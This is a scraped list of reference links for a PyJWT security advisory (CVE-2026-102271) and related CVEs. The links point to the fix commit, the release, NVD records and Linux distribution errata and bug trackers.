github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773
github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499
github.com/jpadilla/pyjwt/releases/tag/2.14.0
nvd.nist.gov/vuln/detail/CVE-2026-102271
github.com/advisories/GHSA-p4g4-x82p-q773
access.redhat.com/errata/RHSA-2026:94500
Show 65 moreShow less
access.redhat.com/security/cve/CVE-2026-102266
access.redhat.com/security/cve/CVE-2026-102267
access.redhat.com/security/cve/CVE-2026-102268
access.redhat.com/security/cve/CVE-2026-102271
access.redhat.com/security/cve/CVE-2026-102272
bugzilla.redhat.com/2542671
bugzilla.redhat.com/2542685
bugzilla.redhat.com/2542687
bugzilla.redhat.com/2542690
bugzilla.redhat.com/2542695
errata.almalinux.org/9/ALSA-2026-94500.html
access.redhat.com/errata/RHSA-2026:94501
errata.almalinux.org/10/ALSA-2026-94501.html
docs.bell-sw.com/security/cves/CVE-2026-102271
github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102271.json
security-tracker.debian.org/tracker/CVE-2026-102271
github.com/jpadilla/pyjwt
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-4384
nvd.nist.gov/vuln/detail/CVE-2026-102267
nvd.nist.gov/vuln/detail/CVE-2026-102268
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-4385
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-4386
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-4387
pypi.org/project/pyjwt
errata.rockylinux.org/RLSA-2026:94500
bugzilla.redhat.com/show_bug.cgi?id=2542671
bugzilla.redhat.com/show_bug.cgi?id=2542685
bugzilla.redhat.com/show_bug.cgi?id=2542687
bugzilla.redhat.com/show_bug.cgi?id=2542690
bugzilla.redhat.com/show_bug.cgi?id=2542695
errata.rockylinux.org/RLSA-2026:94501
suse.com/support/update/announcement/2026/suse-su-202624126-1
bugzilla.suse.com/1283060
bugzilla.suse.com/1283061
bugzilla.suse.com/1283064
bugzilla.suse.com/1283065
bugzilla.suse.com/1283066
bugzilla.suse.com/1283067
bugzilla.suse.com/1283068
bugzilla.suse.com/1283071
bugzilla.suse.com/1283072
bugzilla.suse.com/1283829
suse.com/security/cve/CVE-2026-101917
suse.com/security/cve/CVE-2026-101918
suse.com/security/cve/CVE-2026-102267
suse.com/security/cve/CVE-2026-102268
suse.com/security/cve/CVE-2026-102269
suse.com/security/cve/CVE-2026-102270
suse.com/security/cve/CVE-2026-102271
suse.com/security/cve/CVE-2026-102274
suse.com/security/cve/CVE-2026-102275
suse.com/security/cve/CVE-2026-103001
suse.com/support/update/announcement/2026/suse-su-202624134-1
suse.com/support/update/announcement/2026/suse-su-202624219-1
suse.com/support/update/announcement/2026/suse-su-202624377-1
suse.com/support/update/announcement/2026/suse-su-20265064-1
ubuntu.com/security/CVE-2026-102271
cve.org/CVERecord?id=CVE-2026-102271
ubuntu.com/security/notices/USN-8916-2
ubuntu.com/security/notices/USN-8916-1
ubuntu.com/security/CVE-2026-102266
ubuntu.com/security/CVE-2026-102267
ubuntu.com/security/CVE-2026-102268
ubuntu.com/security/CVE-2026-102272
ubuntu.com/security/CVE-2026-102273
Left out here: the rest of 3 source descriptions. The JSON record has them.